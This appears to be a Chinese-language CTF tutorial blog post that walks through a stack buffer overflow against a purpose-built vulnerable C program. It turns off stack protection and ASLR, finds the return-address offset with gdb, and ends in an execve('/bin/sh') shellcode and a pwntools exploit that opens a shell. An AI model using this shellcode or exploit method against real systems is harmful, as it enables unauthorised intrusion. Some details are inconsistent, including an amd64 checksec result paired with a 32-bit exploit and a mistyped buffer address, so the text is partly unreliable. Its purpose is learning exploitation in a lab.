@shaobaobaoer
2018-04-27T14:38:05.000000Z
字数 2870
阅读 1578
未分类
参考地址
http://www.vuln.cn/6644 一步一步学rop x86
http://www.vuln.cn/6645 一步一步学rop x64
https://blog.csdn.net/niexinming/article/details/78814422 Linux下pwn从入门到放弃
在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。
虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行,传统的缓冲区溢出又一次有了用武之处
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
root@ninthdevil:~/ctf_box/pwn# checksec test
[*] '/root/ctf_box/pwn/test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
//STDIN_FILENO等是文件描述符,是非负整数,一般定义为0, 1, 2,属于没有buffer的I/O,直接调用系统调用,在<unistd.h>。表示标准输出
编译方案
gcc -fno-stack-protector -z execstack -o level1 level1.c
;这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。
环境配置
sudo echo 0 > /proc/sys/kernel/randomize_va_space
# 打开环境的内存错误数据
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
执行完后我们就关掉整个linux系统的ASLR保护。
如你所见,现在这个test0的文件运行在一个极为不安全的环境下了
生成一串150字节长的字符串让程序崩溃
有于并没有打开栈溢出保护机制,导致我们能够直接知道错误的返回地址0x41416d41
计算PC返回值的覆盖点长度
如何计算PC返回值的覆盖点长度呢?gdb pattern的offset子命令能够计算出pc覆盖点的长度。
输入pattern offset 0x41416d41
得到如下结果
通过gdb 的pattern 拓展包,就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。
计算PC返回值
此时我们需要计算的就是PC的返回值
之前我们打开了core.dump的功能,通过gdb读取内存溢出的文件,我们就可以计算出PC的返回值
(gdb中调试地址和实际地址不同,不能直接运算)
首先我们先让程序崩溃,输入超过150个字节长度的东西即可:
core.的输出文件在/tmp下
在用gdb ./level0-0 /tmp/core.xxxxxxxx
打开可以看到core文件被正常解析了
已知 溢出点是140个字节,ret地址4个字节,那就是144个字节。
因此 buffer的地址是 $esp - 144
利用命令 x/10s $esp - 144
可以计算出buf的地址
(指令计算16进制对应字符,再显示字符在那个位置。官方解释是 x/s地址,查看字符串)
至此,我们算出了buf的地址就是0xbfff600
,也就是PC的返回值
注入ShellCode
我看别人的wp,了解到了如下代码。(32位Linux)
Linux指令execve ("/bin/sh")
应该写成如下形式:
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
利用python的pwntools模块,就能够getshell了
from pwn import *
p = process('./level0-0')
ret = 0xbffff600
shellcode = asm('''
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f ;; hs//
push 0x6e69622f ;; nib/
mov ebx, esp
mov al, 11
int 0x80
''')
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload) #发送payload
p.interactive() #开启交互shell
如果不行,可以访问一下/proc/sys/kernel/core_pattern
运行exp.py,查看/home/flag.txt